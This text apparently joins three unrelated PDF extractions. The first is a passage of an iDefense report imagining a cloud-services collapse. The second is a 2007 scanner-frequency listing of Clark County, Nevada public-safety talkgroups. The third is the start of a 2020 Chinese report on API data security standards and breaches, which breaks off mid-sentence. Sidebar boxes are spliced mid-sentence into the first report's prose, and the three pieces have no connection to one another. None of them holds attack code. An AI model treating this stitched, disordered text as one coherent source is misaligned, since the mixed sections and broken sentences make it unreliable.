The use of virtualization along with cloud computing is one marriage of technologies that reaps in a lot of profit and ease of use for enterprises; however, while there are many tangible benefits to adopting cloud computing as either a supplement or replacement to traditional client-server environments, there are many potential security pitfalls also. Cloud computing is a disruptor to the current model of doing business because the majority of enterprises currently rely on local hardware and software for most of their needs. The concept of sending data to a cloud for processing or having hardware resources within a cloud is still alien and still sounds like a risky proposition; however, recently, more and more enterprises are moving toward the cloud. This increased movement toward the cloud is in spite of the threats and risks associated with using the cloud. iDefense predicts that a large part of the enterprise community will shift to using the cloud within the next 5 years. Once the shift to the cloud happens, the whole security industry will be in a state of flux. Security service providers will have to learn to deal with the new attack vectors and threats that the cloud model brings in; employees will have to relearn safe computing habits. On the other side, malicious actors will have to create new malware and delivery mechanisms that can attack the cloud. For a few years, the security community will witness an escalating arms race between security companies and malicious actors. Given the eventuality in the migration to the cloud, it is interesting and a learning experience to try to foresee what would happen if the cloud model were to collapse. What changes would businesses have to make? What would the economic costs be? Would it even be possible to rapidly move out of the cloud? The next few sections explore the answers to these questions in a post-attack cloud world. It is an undisputable fact that any new technology faces umpteen numbers of hidden threats. Cloud technology is also susceptible to many unknown threats apart from the threats that can be foreseen. iDefense has written about the various possible threats in iDefense’s Topical Research Report “Cloud Computing.”37 For the purposes of this discussion, assume that one or several of the threats mentioned in that paper have occurred and have brought the cloud to its knees. The cloud being the single point of failure, companies will have to figure out ways to move quickly from one cloud to another. If the cloud vendor itself has 37 iDefense Topical Research Report: Cloud Computing (ID# 485851, May 1, 2009). Cyber Terrorism Year: 2019 Concept: This is the act of engaging in terrorism practices via a cyberspace vector alone that causes fear to the general populace by threatening or creating violence, in some cases instigating significant socio-economic or political disturbances. Impact: The cyber security community has discussed cyber terrorism for more than a decade. Those discussions have not produced any tangible remedy that is not general in nature and can be applied to other kinds of malicious activity (cyber war, cyber crime, cyber espionage, etc). When the first death occurs as a result of a cyber terrorist attack, the game will change. Enterprise Change: Enterprises will react to draconian compliance laws, which some governments enacted in an effort to keep their citizens safe. Early Adopters: No What has changed this year: Nothing significant 20 Disruptors a large physical presence, it can also move operations around the globe in an attempt to allay the threat. If the enterprise were using the cloud as an infrastructure, as in the concept of “infrastructure as a service” (IaaS) hosting place, an attack on the cloud would mean that, internally, the employees of the company would not be able to access the servers (those containing databases, e-mail, etc.), and, externally, the customers will not be able to access the services the servers provide. This is the worst-case scenario for cloud services since an enterprise in such a situation will not be able to move quickly across cloud service vendors or to quickly bring up its own hardware. What will perhaps emerge as a solution to this issue is the use of backup clouds. In such a solution, enterprises can have infrastructure in the cloud as a backup mechanism at a lower cost. Enterprises will likely choose to use a different vendor for the backup cloud. Closely related to the discussion of failure in IaaS is the issue of failure in the virtualization model of operations. In the event of a threat to virtual machines becoming real, enterprises will have to quickly fall back to using physical machines instead of virtual machines. This reversal will impact the operating cost severely and will require not only great financial inputs to buy the required hardware but also skilled labor to start and maintain the physical systems. Such a disruption has already occurred in a small way in the field of malware analysis. Advanced malware, which can detect virtual machines, have to be executed and observed in a lab that has physical computers instead of virtual machines. In the event of the failure of cloud services for platform as a service (PaaS), the applications that the enterprise hosts for its employees and for the customers will become inaccessible. It will not be possible to move these applications around quickly since they are tailored for particular platforms. This limitation will result in downtime and economic losses. Maintaining applications in the conventional way (as it is generally done today) on enterprise servers can be a backup strategy, but this strategy would negate the use of the cloud as the platform for applications. The last cloud service model is the one whereby the enterprise uses the cloud to run software (software as a service, or SaaS). The recovery from the disruption of cloud services that provide software (presumably to employees) is easy. Apart from making a financial investment in buying requisite software for the client machines, the enterprise will have to hire skilled administrators who can have the system running quickly. Among the new policy measures that enterprises have to consider is the ability to move to another cloud service provider quickly in the event of a disruption of services. Another possible solution is to move to an internal (private) cloud for the duration of the service disruption, but the latter solution would mean that the enterprise maintains an internal cloud all along, which will increase the cost of operation. The last fallback strategy is to maintain a part of the conventional operating process in parallel with using the cloud. It is not necessary for this backup to be capable of taking the full load of services 38 Sinclair, Brendan. “Blizzard Real ID System Sparks Controversy.” July 8 2010. Cnet. http://news.cnet.com/8301-17938_105- 20010022-1.html. “Among the new policy measures that enterprises have to consider is the ability to move to another cloud service provider quickly in the event of a disruption of services.” MMOs and the Metaverse Year: 2020 Concept: Neal Stephenson coined the term “Metaverse” in his 1992 novel “Snow Crash.” In the novel, people interface with the Internet through their personal avatars and autonomous software agents in a three-dimensional space. In the real world, the gaming community has adopted Stephenson’s Metaverse blueprint for how to build MMOs such as Second Life and World of Warcraft. Once someone solves the technical problem of how to move an avatar from one MMO to another, the essential characteristics of Stephenson’s Metaverse will emerge. Impact: This will become a completely different way to access the Internet, one that moves away from browsers and toward the use of personal avatars. Enterprise Change: Robust solutions around identity management will emerge. Global law will change in regard to national sovereignty. Early Adopters: No What has changed this year: The hype has gone down, but slow technology advances have occurred. Blizzard Inc. launched RealID,14 an optional additional layer of identity verification for players in any Blizzard game that allows cross- platform communication across all Blizzard games. Steam Inc. installed a similar communication system with all of its supported games but did not adopt the identity layer. © 2011 Verisign, Inc. All rights reserved. Verisign, the Verisign logo, iDefense and other trademarks, service marks, and designs are registered or unregistered trademarks of Verisign, Inc. and its subsidiaries in the United States and in foreign countries. All trademarks are properties of their respective owners. All materials are intended for iDefense customers and personnel only. The reproduction and distribution of this material is forbidden without express written permission from iDefense. 21 Disruptors when the cloud fails, but even if it could replace the cloud partially, the enterprise could have some operations running during the disruption. To sum it up, in the event of a major disruption of cloud services, enterprises must be ready to either move all their operations to another service provider, move to an internal cloud or move back completely to not using the cloud. iDefense foresees that a hybrid approach of an internal cloud and internal infrastructure will emerge as the best fallback mechanism. New services such as backup clouds, which do not currently exist, may also provide new ways of recovering from the disruption of cloud services. 2.4 Disruptors Conclusion Ten security catalysts—cyber security disruptors—may fundamentally change how the security community protects the enterprise. Some disruptors will occur sooner than others. Indeed, some companies have decided to become early adopters of these changes. Other disruptors may never happen. They are so far down the timeline that other security events, technologies or laws could derail them. Regardless, enterprise security leadership should consider all of these disruptors in their planning process, especially the disruptors within 3 to 5 years. Planning must begin in order for leadership to fully understand the change that is coming and how that might affect the enterprise.
pdf
Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 1 of 6 6/18/2007 14:49 NOT LOGGED IN Home · Your Account · Forums · Database · Wiki · Submit Info Search RR Help Desk Clark County System US > Nevada > Clark County System Information Last Updated on 04-16-2007 18:37 System Name: Clark County Location: Clark County, NV County: Clark System Type: Motorola Type II SmartZone System Voice: Analog Sysid: 4A36 CT: 116.13 Last Updated: Added a set of talkgroups Hits: 16371 Latest News Update Posted on 2007-01-09 20:47:11 860.4375 additional system frequency; also used as a control channel; unknown site. Click Here to Display All Past News Updates (3 Total) System Frequencies Red* are Primary Control Channels, Blue* are alternate control channels Site Description Freqs 001 Las Vegas Simulcast 856.43750 856.76250 857.48750 857.76250 858.76250 859.26250 859.46250 859.93750 860.43750 860.48750* 860.93750* 868.30000 868.65000 868.82500 Home History Downloads NV Trunking Submit Watch Admin Paramedic Ringtones Send 10 Complimentary Ringtones to your cell. Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 2 of 6 6/18/2007 14:49 002 Apex Peak (Las Vegas) 857.98750 866.46250 867.16250 868.26250 868.55000 868.73750* 868.80000 003 Angel Peak (Mount Charleston) 860.76250 866.32500 866.80000 867.12500 867.32500 867.37500* 868.33750* 006 Site-6 868.50000* 008 Site-8 867.45000* System Talkgroups Updated in the last 7 days Updated in the last 24 hours List All in one table Clark County / Las Vegas Fire Talkgroups DEC HEX Description 40976 a01 Ch. 1 - Las Vegas East Dispatch (Zone 1) 41008 a03 Ch. 2 - Clark County West (Zone 3) 41040 a05 Ch. 3 - Clark County East (Zone 3) 41072 a07 Ch. 4 - Las Vegas West Dispatch (Zone 1) 41104 a09 Ch. 5 - North Las Vegas 41136 a0b Ch. 6 - Clark County South (Zone 3) 41200 a0f Henderson / Clark County Mutual Channel 41232 a11 Henderson Fire Dispatch 41264 a13 Ch. 10 Las Vegas Central Dispatch (Zone 1) 41296 a15 Ch. 8 Zone 1/Tactical 11 41328 a17 Ch. 9 Zone 1/Tactical 12 41360 a19 Ch. 10 Zone 1/Tactical 13 41392 a1b Ch. 11 Zone 3/Tactical 10 41424 a1d Ch. 12 Zone 3/Tactical 11 41456 a1f Zone 1/Tactical 7 (Las Vegas) 41488 a21 Ch. 14 Zone 3/Tactical 13 41616 a29 Zone 5/Tactical 10 41744 a31 Fireground 41776 a33 "Tac 209" (used during a drill) 41808 a35 EMS Control "Tac 210" (used during a drill) 41840 a37 "Tac 211" (used during a drill) 42000 a41 Zone 3/Tactical 5 (Clark County) 42032 a43 Zone 3/Tactical 6 (Clark County) 42064 a45 Zone 3/Tactical 7 (Clark County) 42096 a47 Zone 3/Tactical 8 (Clark County) Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 3 of 6 6/18/2007 14:49 42128 a49 Zone 3/Tactical 9 (Clark County) 42160 a4b Zone 1/Tactical 5 (Las Vegas) 42192 a4d Zone 1/Tactical 6 (Las Vegas) 42224 a4f Station 13 McCarran International Airport ("Red Dog") 43120 a87 Training 43152 a89 Inspections Clark County / Las Vegas EMS Talkgroups DEC HEX Description 43568 aa3 Links AMR and Fire/Rescue 43600 aa5 Links Southwest Ambulance and Fire/Rescue 43856 ab5 EMS to Saint Rose San Martin Hospital 44048 ac1 EMS to UMC 44080 ac3 EMS to UMC Trauma 44112 ac5 EMS to UMC Pediatrics 44144 ac7 EMS to Valley Hospital 44176 ac9 EMS to Summerlin Hospital 44208 acb EMS to Mountain View Hospital 44240 acd EMS to Sunrise Hospital 44272 acf EMS to Sunrise Hospital 44304 ad1 EMS to Lake Mead Hospital 44336 ad3 EMS to Desert Springs Hospital 44368 ad5 EMS to Spring Valley Hospital 44400 ad7 EMS to St. Rose de Lima Hospital 44432 ad9 EMS to St. Rose Sienna Hospital 44464 adb EMS to Southern Hills Hospital 44496 add EMS to Boulder City Hospital Clark County / Las Vegas Sanitation District Talkgroups DEC HEX Description 32816 803 Clark County / Las Vegas Sanitation District Clark County / Las Vegas Water Department Talkgroups DEC HEX Display Description 24592 601 Emergency Ch. 1 Emergency Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 4 of 6 6/18/2007 14:49 24624 603 Meter SVC Ch. 2 Meter Service 24656 605 Engineer Ch. 3 Engineering 24688 607 Dist SVC Ch. 4 24720 609 PROD SVC Ch. 5 24752 60b OPER SVC Ch. 6 24784 60d OPS EMER Ch. 7 24816 60f DIST SPV Ch. 8 24848 611 WATER Q Ch. 9 Water Quality 24880 613 FLEET SVC Ch. 10 Fleet Service 24912 615 FAC SVC Ch. 11 24944 617 SECURITY Ch. 12 Security 24976 619 SUPPORT Ch. 13 Support 25008 61b MTR SHOP Ch. 14 Meter Shop 25040 61d SNWS2 Ch. 15 25072 61f LVBSP Ch. 16 Clark County School District Talkgroups DEC HEX Description 40368 9db Valley Command 40464 9e1 Police - Dispatch 40560 9e7 Police - Dispatch Clark County Department of Aviation Talkgroups DEC HEX Description 33232 81d Airport Police - Dispatch 33360 825 Airport Police - Investigation 36880 901 McCarran Airport - Customer Service 36912 903 McCarran Airport - Security 36944 905 McCarran Airport - Maintenance 37008 909 McCarran Airport - Custodians 37040 90b McCarran Airport - Electricians 37072 90d McCarran Airport - Security 37104 90f McCarran Airport - Parking 37136 911 McCarran Airport - Maintenance 37168 913 McCarran Airport - Maintenance Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 5 of 6 6/18/2007 14:49 37200 915 McCarran Airport - Fuel 37232 917 North Las Vegas Airport 37264 919 Henderson Airport 37296 91b McCarran Airport - Taxi Control Clark County Other Services Talkgroups DEC HEX Description 40880 9fb Animal Control Las Vegas Services Talkgroups DEC HEX Description 40912 9fd Marshals Henderson Talkgroups DEC HEX Description 57616 e11 Police - East 1 Dispatch 57648 e13 Police - East 2 Car-to-Car 57680 e15 Police - East Tactical 57712 e17 Police - West 1 Dispatch 57744 e19 Police - West 2 Car-to-Car 57776 e1b Police - West Tactical 57808 e1d Police 57840 e1f Police - Car-to-Car 57904 e23 Police - Investigation 1 57936 e25 Police 57968 e27 Police 58000 e29 Police - Investigation 4 North Las Vegas Talkgroups DEC HEX Description 36432 8e5 Detention Center 36560 8ed Police Northwest Command 36624 8f1 Police 36688 8f5 Police South Command Scanner Frequencies: Clark County Trunking System, Clark County, Nevada http://radioreference.com/modules.php?name=RR&sid=669 6 of 6 6/18/2007 14:49 36720 8f7 Police Information Data Talkgroups DEC HEX Description 43232 a8e MOSCAD (Utilities?) All information here is Copyright 2006 by RadioReference.com LLC and Lindsay C. Blanton III. Please see our Privacy Policy and Terms and Conditions. Police Officer Ringtone Send this ringtone to your phone right now! RingRingMobile.com Ambulance Crew Scheduling EMT availability submission, scheduling, shift trading and more www.emsmanager.net Paramedic Ringtones Send 10 Complimentary Ringtones to your cell. MobileContentPlus.com Emt Ringtone Send this complimentary ringtone to your phone right now! BestRingDownloads.com
pdf
应用程序接口(API) 数据安全研究报告 (2020 年) 中国信息通信研究院安全研究所 2020 年 7 月 版权声明 本报告版权属于中国信息通信研究院安全研究所,并受 法律保护。转载、摘编或利用其它方式使用本报告文字或者 观点的,应注明“来源:中国信息通信研究院安全研究所”。 违反上述声明者,本院将追究其相关法律责任。 前 言 伴随着云计算、大数据、人工智能等技术的蓬勃发展,移动互 联网、物联网产业加速创新,移动设备持有量不断增加,Web 应用、 移动应用已融入生产生活的各个领域。这一过程中,应用程序接口 (Application Programming Interface,API)作为数据传输流转 的重要通道发挥着举足轻重的作用。API 技术不仅帮助企业建立与客 户沟通的桥梁,还承担着不同复杂系统环境、组织机构之间的数据 交互、传输的重任。然而,在 API 技术带来上述积极作用的同时, 与其相关的数据安全问题也日益凸显。 近年来,国内外曝出多起与 API 相关的数据安全事件,严重损 害了相关企业、用户的合法权益。我国多个行业已出台相关规范性 文件,覆盖通信、金融、交通等诸多领域,对 API 安全提出了一定 要求,对其技术部署、安全管理等进行规范。然而当前已研制标准 主要针对特定 API 类型、应用场景提出要求,尚未全面覆盖 API 数 据安全,相关标准规范体系有待完善。 本报告围绕近年来 API 安全态势,分析梳理了 API 技术面临的 内、外部安全风险,针对事前、事中、事后不同阶段的安全需求差 异,从 API 安全管理、防护手段、风险管控等多角度为企业实现高 效、灵活的 API 安全实践提出了针对性建议。 技术支持: 全知科技(杭州)有限责任公司 联系人: 王丹辉 中国信息通信研究院 电子邮件:wangdanhui@caict.ac.cn 解伯延 中国信息通信研究院 电子邮件:xieboyan@caict.ac.cn 朱通 全知科技(杭州)有限责任公司 费嫒 全知科技(杭州)有限责任公司 目 录 一、 API 的基本情况..................................................................................................1 (一) API 简介............................................................................................... 1 (二) API 分类及组成要素........................................................................... 2 1. API 分类.............................................................................................2 2. API 组成要素.....................................................................................3 (三) API 安全标准化情况........................................................................... 4 二、 近年来 API 安全态势.......................................................................................10 (一) Facebook 多起数据泄露事件与 API 有关....................................... 10 (二) 美国邮政服务 API 漏洞导致用户信息泄露.................................... 11 (三) T-Mobile API 漏洞导致用户账号被窃取....................................... 11 (四) Twitter 虚假账户利用 API 批量匹配用户信息............................. 12 (五) 考拉征信非法出售 API 导致个人信息泄露.................................... 12 (六) 新浪微博用户查询接口被恶意调用导致数据泄露........................ 12 (七) 微信团队收回小程序"用户实名信息授权"接口............................ 13 三、 安全风险分析...................................................................................................13 (一) 外部威胁因素.................................................................................... 13 1. API 漏洞导致数据被非法获取.......................................................14 2. API 成为外部网络攻击的重要目标...............................................14 3. 网络爬虫通过 API 爬取大量数据..................................................14 4. 合作第三方非法留存接口数据......................................................15 5. API 请求参数易被非法篡改...........................................................15 (二) 内部脆弱性因素................................................................................ 16 1. 身份认证机制..................................................................................16 2. 访问授权机制..................................................................................17 3. 数据脱敏策略..................................................................................17 4. 返回数据筛选机制..........................................................................18 5. 异常行为监测..................................................................................18 6. 特权账号管理..................................................................................19 7. 第三方管理......................................................................................19 四、 安全建议...........................................................................................................20 (一) 事前.................................................................................................... 20 1. 统一 API 设计开发规范,减少安全隐患......................................20 2. 强化 API 上线、变更、下线环节实时监控,确保全生命周期安全 ................................................................................................................20 3. 完善 API 身份认证和授权管理机制,强化接口接入安全审核..21 4. 健全 API 安全防护体系,提升抵御外部威胁能力......................21 5. 加大 API 安全保护宣传力度,提高员工安全意识......................22 (二) 事中.................................................................................................... 22 1. 加强 API 身份认证实时监控能力建设..........................................22 2. 加强异常行为实时监测预警能力建设..........................................22 3. 加强数据分类分级管控能力建设..................................................23 4. 加强 API 数据流向监控能力建设..................................................23 (三) 事后.................................................................................................... 24 1. 建立健全应急响应机制..................................................................24 2. 建立健全日志审计机制..................................................................24 3. 建立健全数据泄露溯源追责机制..................................................25 五、 附录...................................................................................................................26 (一) 全知科技 API 安全实践.................................................................... 26 1. 开放 API 安全实践..........................................................................26 2. 面向合作方 API 安全实践..............................................................29 3. 内部 API 安全实践..........................................................................31 (二) 观安 API 安全实践............................................................................ 34 1. 安全方案..........................................................................................34 2. 技术手段..........................................................................................35 3. 实践应用..........................................................................................38 4. 发展趋势..........................................................................................40 (三) 爱加密 API 安全实践........................................................................ 41 1. 安全方案..........................................................................................41 2. 技术手段..........................................................................................43 3. 实践应用..........................................................................................44 4. 产品研发..........................................................................................47 表 目 录 表 1 相关国家标准例举............................................................................................5 表 2 相关通信行业标准例举....................................................................................6 表 3 相关金融行业标准例举....................................................................................8 表 4 相关交通行业标准例举....................................................................................9 应用程序接口(API)数据安全研究报告(2020 年) 1 一、API 的基本情况 伴随着云计算、移动互联网、物联网的蓬勃发展,越来越多的 开发平台和第三方服务快速涌现,应用系统与功能模块复杂性不断 提升,应用开发深度依赖于应用程序接口(Application Programming Interface,API)之间的相互调用。近年来移动应用深入普及,促 使社会生产、生活活动从线下转移到了线上,特别在此次新冠肺炎 疫情期间,协同办公、在线教育、便民服务等领域移动应用积极助 力复工复产,各地依托大数据推出“健康码”等疫情防控新举措, API 在其中起到了紧密链接各个元素的作用。为满足各领域移动应用 业务需要,API 的绝对数量持续增长,通过 API 传递的数据量也飞速 增长。API 技术借助移动应用蓬勃发展的势头融入社会经济的方方面 面,不仅为数据交互提供了便利,并且推动了企业、组织机构间的 沟通和对话,甚至创造了新的经济模式:API 经济。 (一)API 简介 API 是预先定义的函数,为程序之间数据交互和功能触发提供服 务。调用者只需调用 API,并输入预先约定的参数,即可实现开发者 封装好的各种功能,无需访问功能源码或理解功能的具体实现机制。 从功能角度来看,API 是前端调用后端数据的通道;从业务角度 来看,API 是将封装后的应用对外开放的访问接口。在信息系统内部, 随着业务功能的逐渐细化,各个功能模块之间需要利用 API 技术来 进行协调;在信息系统外部,API 承担着与其他应用程序进行交互的 应用程序接口(API)数据安全蓝皮报告(2020 年) 2 重要任务。 (二)API 分类及组成要素 1.API 分类 API 技术应用广泛,可满足不同领域、不同业务的数据传输和操 作需求,在包括软件开发工具包(Software Development Kit,SDK)、 Web 应用、网关等诸多领域均可发现 API 的身影。因此,从应用领域 角度难以合理清晰地区分其种类。为此,本报告从 API 开放程度和 API 核心技术两个维度进行分类介绍。 (1)按 API 开放程度分类 从 API 的开放程度出发,API 可以分为开放 API、面向合作方 API 和内部 API。 开放 API 是面向公网开放的接口,此类 API 允许公众调用。调 用者可以是任何人或者机构,不需要和 API 提供者建立合作关系, 例如公司门户网站等。 面向合作方 API 指的是企业或组织用来与外部合作伙伴进行沟 通、交流和系统集成的 API,例如面向外包机构、设备供应商等。 内部 API 仅在企业或组织内部使用,用来协调内部不同系统、 应用之间的调用关系,例如 CRM 系统 API、薪资系统 API 等。 (2)按 API 核心技术分类 从 API 核心技术进行划分,可分为简单对象访问协议(Simple 应用程序接口(API)数据安全蓝皮报告(2020 年) 3 Object Access Protocol,SOAP)API,RESTful(Representational State Transfer,REST)API 及远程过程调录(Remote Procedure Call, RPC)API。 SOAP API 是指使用 Web 服务安全性内置协议的 API。基于 XML 协议,此类 API 技术可与多种互联网协议和格式结合使用,包括超 文本传输协议(HTTP)、简单邮件传输协议(SMTP)、多用途网际 邮件扩充协议(MIME)等。 RPC API 是指使用远程过程调录协议进行编程的 API,RPC 技术 允许计算机调用其他计算机的子系统,并定义了结构化的请求方式。 不同于上述两类依托于协议的 API 技术,RESTful API 是一种架 构,其通过 HTTP 和 JSON 进行传输,不需要存储或重新打包数据, 同时支持 TLS 加密。 2.API 组成要素 API 通常包含如下组成要素,在这些要素的共同作用下,API 才 能发挥预期作用。 (1)通信协议:API 一般利用 HTTPS 等加密通讯协议进行数据 传输,以确保数据交互安全。 (2)域名:用于指向 API 在网络中的位置。API 通常被部署在 主域名或者专用域名之下,接入方可通过域名调用相关 API。 (3)版本号:不同版本的 API 可能存在巨大差异,尤其对于多 版本并存、增量发布等情况,API 版本号有助于准确区分 API 的参数 应用程序接口(API)数据安全蓝皮报告(2020 年) 4 设置。 (4)路径:路径又称“终点”(end point),指表示 API 及 API 执行功能所需资源的具体地址。 (5)请求方式:API 常用的请求方式有 GET、POST、PUT 和 DELETE 四种,分别用于获取、更新、新建、删除指定资源。 (6)请求参数:即传入参数,包含数据格式、数据类型、可否 为空以及文字描述等内容。传入参数主要包括 Cookie、Request header、请求 body 数据和地址栏参数等。 (7)响应参数:即返回参数或传出参数,返回参数本身默认没 有值,用于带出请求参数要求 API 后台所返回的数据。 (8)接口文档:接口文档是记录 API 相关信息的文档,内容包 括接口地址、请求方式、传入参数(请求参数)和响应参数等。 (三)API 安全标准化情况 近年来,我国陆续出台多部数据接口有关标准,对数据接口在 不同领域的应用、部署、管理、防护等进行了规范。 在国家标准层面,我国多部现行及制定中的国家标准针对 API 安全提出了安全要求。GB/T 35273-2020《信息安全技术 个人信息 安全规范》将 API 开发、调用与个人信息安全相结合,明确指出“个 人信息控制者在提供产品或服务的过程中部署了收集个人信息的第 三方插件(例如网站经营者与在其网页或应用程序中部署统计分析 工具、软件开发工具包 SDK、调用地图 API 接口),且该第三方并未 应用程序接口(API)数据安全蓝皮报告(2020 年) 5 单独向个人信息主体征得收集、使用个人信息的授权同意,则个人 信息控制者与该第三方为共同个人信息控制者。”制定中的国家标 准 GB/ XXXX-XX《信息安全技术 政务信息共享 数据安全技术要求》 要求共享交换过程中涉及的授权方(共享数据提供方、共享交换服 务方)“支持资源文件、库表、接口等各共享方式上不同粒度的权 限控制”,并在级联接口安全方面要求“共享交换服务方应采用密 码技术对共享交换系统间的级联接口进行安全防护,保障通过级联 接口传递的数据的保密性和完整性。” 表 1 相关国家标准例举 序号 标准编号 标准名称 1 GB/T 35273-2020 《信息安全技术 个人信息安全规范》 2 GB/T 36478.4-2019 《物联网 信息交换和共享 第 4 部 分:数据接口》 3 GB/T 21062.3-2007 《政务信息资源交换体系 第 3 部分: 数据接口规范》 4 GB/T 19581-2004 《信息技术 会计核算软件数据接口》 5 GB/ XXXX-XX 《信息安全技术 政务信息共享 数据 安全技术要求(征求意见稿)》 来源:中国信息通信研究院 在通信行业标准方面,随着云计算、移动互联网等领域的快速 发展,通信行业针对特定 API 类型、API 应用场景等制定了一系列标 准,细化了 API 相关安全要求与规范。其中 YD/T 2807.4-2015《云 应用程序接口(API)数据安全蓝皮报告(2020 年) 6 资源管理技术要求 第 4 部分:接口》对涉及的接口类型进行了梳理, 规定了云资源管理平台及分平台间接口的技术要求。YD/T 3217-201 7《基于表述性状态转移(REST)技术的业务能力开放应用程序接口 (API)视频共享》则针对基于 REST 技术的视频共享能力开放 API 进行了规范,涵盖了接口资源定义、资源操作、数据结构、基本流 程和安全要求等多方面内容。 表 2 相关通信行业标准例举 序号 标准编号 标准名称 1 YD/T 3420.8-2019 《基于公用电信网的宽带客户网关虚拟 化 第 8 部分:接口要求》 2 YD/T 3496-2019 《Web 安全日志格式及共享接口规范》 3 YD/T 3242-2017 《生物灾害防治和预警系统 信息发布 网络接口技术要求》 4 YD/T 3217-2017 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)视频 共享》 5 YD/T 2406-2017 《互联网数据中心和互联网接入服务信 息安全管理系统及接口测试方法》 6 YD/T 3215-2017 《互联网资源协作服务信息安全管理系 统及接口测试方法》 7 YD/T 3214-2017 《互联网资源协作服务信息安全管理系 统接口规范》 应用程序接口(API)数据安全蓝皮报告(2020 年) 7 8 YD/T 3213-2017 《内容分发网络服务信息安全管理系统 及接口测试方法》 9 YD/T 3212-2017 《内容分发网络服务信息安全管理系统 接口规范》 10 YD/T 3189-2016 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)状态 呈现业务》 11 YD/T 2807.4-2015 《云资源管理技术要求 第4部分:接口》 12 YD/T 2464-2013 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)搜索 业务》 13 YD/T 1661-2007 《基于互联网服务(Web Service)的开 放业务接入应用程序接口(Parlay X) 技术要求》 14 YD/T 1262-2003 《开放业务接入应用程序接口(PARLAY API)技术要求》 来源:中国信息通信研究院 在金融行业标准方面,已发布多部标准对 API 技术的部署、管 理进行规范。其中 JR/T 0171-2020《个人金融信息保护技术规范》 要求金融机构嵌入或接入 API 时,应符合相应技术规范要求,进行 检查、评估和审计。JR/T 0185—2020《商业银行应用程序接口安全 管理规范》则对 API 技术提出了包括数据完整性保护、授权管理、 应用程序接口(API)数据安全蓝皮报告(2020 年) 8 使用情况监控、接口访问日志留存、安全密钥管理、网络安全防护 措施部署、接口安全监测、接口调用控制、接口变更处理、应急处 理方案、安全审计溯源等一系列安全要求。 表 3 相关金融行业标准例举 序号 标准编号 标准名称 1 JR/T 0185-2020 《商业银行应用程序接口安全管理规 范》 2 JR/T 0171-2020 《个人金融信息保护技术规范》 3 JR/T 0160-2018 《期货市场客户开户数据接口》 4 JR/T 0155.1-2018 《证券期货业场外市场交易系统接口 第 1 部分:行情接口》 5 JR/T 0155.2-2018 《证券期货业场外市场交易系统接口 第 2 部分:订单接口》 6 JR/T 0155.3-2018 《证券期货业场外市场交易系统接口 第 3 部分:结算接口》 7 JR/T 0151-2016 《期货公司柜台系统数据接口规范》 8 JR/T 0109.2-2015 《智能电视支付应用规范 第 2 部分:报 文接口规范》 9 JR/T 0109.4-2015 《智能电视支付应用规范 第 4 部分:通 信接口规范》 10 JR/T 0078-2014 《银行间市场数据接口》 应用程序接口(API)数据安全蓝皮报告(2020 年) 9 11 JR/T 0096.1-2012 《中国金融移动支付 联网联合 第 1 部 分:通信接口规范》 12 JR/T 0087-2012 《股指期货业务基金与期货数据交换接 口》 13 JR/T 0055.5-2009 《银行卡联网联合技术规范 第 5 部分: 通信接口》 14 JR/T 0024-2004 《国际收支统计间接申报银行接口规范 通用要素》 来源:中国信息通信研究院 在交通行业标准方面,也相继出台了包括 JT/T 1183-2018《出 租汽车 ETC 支付接口规范》、JT/T 1049-2017《道路运政管理信息 系统》在内的多部 API 相关标准和规范性文件。 表 4 相关交通行业标准例举 编号 标准编号 标准名称 1 JT/T 1183-2018 《出租汽车 ETC 支付接口规范》 2 JT/T 1049-2017 《道路运政管理信息系统》 3 JT/T 1049.5-2017 《道路运政管理信息系统第 5 部分:省 级业务系统接口》 4 JT/T 1019.3-2016 《12328 交通运输服务监督电话系统 第 3 部分:数据交换与信息共享接口技术 要求》 5 JT/T 1049.2-2016 《道路运政管理信息系统第 2 部分:数 应用程序接口(API)数据安全蓝皮报告(2020 年) 10 据资源采集接口》 6 JT/T 1049.3-2016 《道路运政管理信息系统第 3 部分:数 据资源目录服务接口》 7 JT/T 979.1-2015 《道路客运联网售票系统 第 1 部分:服 务接口规范》 8 JT/T 785-2010 《道路运输管理与服务系统数据交换接 口》 来源:中国信息通信研究院 二、近年来 API 安全态势 API 在互联网时代向大数据时代快速过渡的浪潮中承担着连接 服务和传输数据的重任,在通信、金融、交通等诸多领域得到广泛 应用。API 技术已经渗透到了各个行业,涉及包含敏感信息、重要数 据在内的数据传输、操作,乃至各种业务策略的制定环节。伴随着 API 的广泛应用,传输交互数据量飞速增长,数据敏感程度不一,API 安全管理面临巨大压力。 近年来,国内外已发生多起由于 API 漏洞被恶意攻击或安全管 理疏漏导致的数据安全事件,对相关企业和用户权益造成严重损害, 逐渐引起各方关注。为此,部分企业已经积极采取改进 API 安全策 略、出台替代方案等防护措施,应对日益严峻的安全形势。 (一)Facebook 多起数据泄露事件与 API 有关 2018 年 9 月,黑客利用 Facebook 某 API 安全漏洞获取数百万用 应用程序接口(API)数据安全蓝皮报告(2020 年) 11 户信息。Facebook 提供“View As”功能允许开发者以用户身份查看 页面,由于相关 API 存在安全漏洞,造成大量用户访问口令(Access Token)泄露,并导致大量用户个人信息被不法分子窃取,近 5000 万用户受到影响。 2018 年 12 月,Facebook 再次曝出 API 漏洞导致用户个人信息 泄露事件,影响近 680 万用户及 1500 个使用该 API 的 App。该漏洞 允许第三方 App 访问用户 Facebook 账户内未公开的照片,App 还可 能利用该漏洞在用户访问中断或退出程序后获取用户设备缓存中的 数据。 2019 年 12 月,国外安全人员发现超过 2.67 亿条 Facebook ID、 电话号码和姓名等信息被储存在某公开数据库中。有研究显示,该 数据库中的数据可能通过某未知 API 接口抓取,并非来自用户公开 信息。Facebook 称将对这一事件展开调查。 (二)美国邮政服务 API 漏洞导致用户信息泄露 2018 年,国外研究人员发现美国邮政服务(USPS)API 漏洞可 能导致超过 6000 万用户个人信息被窃取。出现漏洞的“Informed Visibility”接口旨在为 USPS 旗下运输业务提供实时跟踪数据,但 由于未设置如限速限流在内的防护措施,使得这一 API 接口遭到不 法分子滥用。 (三)T-Mobile API 漏洞导致用户账号被窃取 2019 年 11 月,美国电信运营商 T-Mobile 曝出 Web 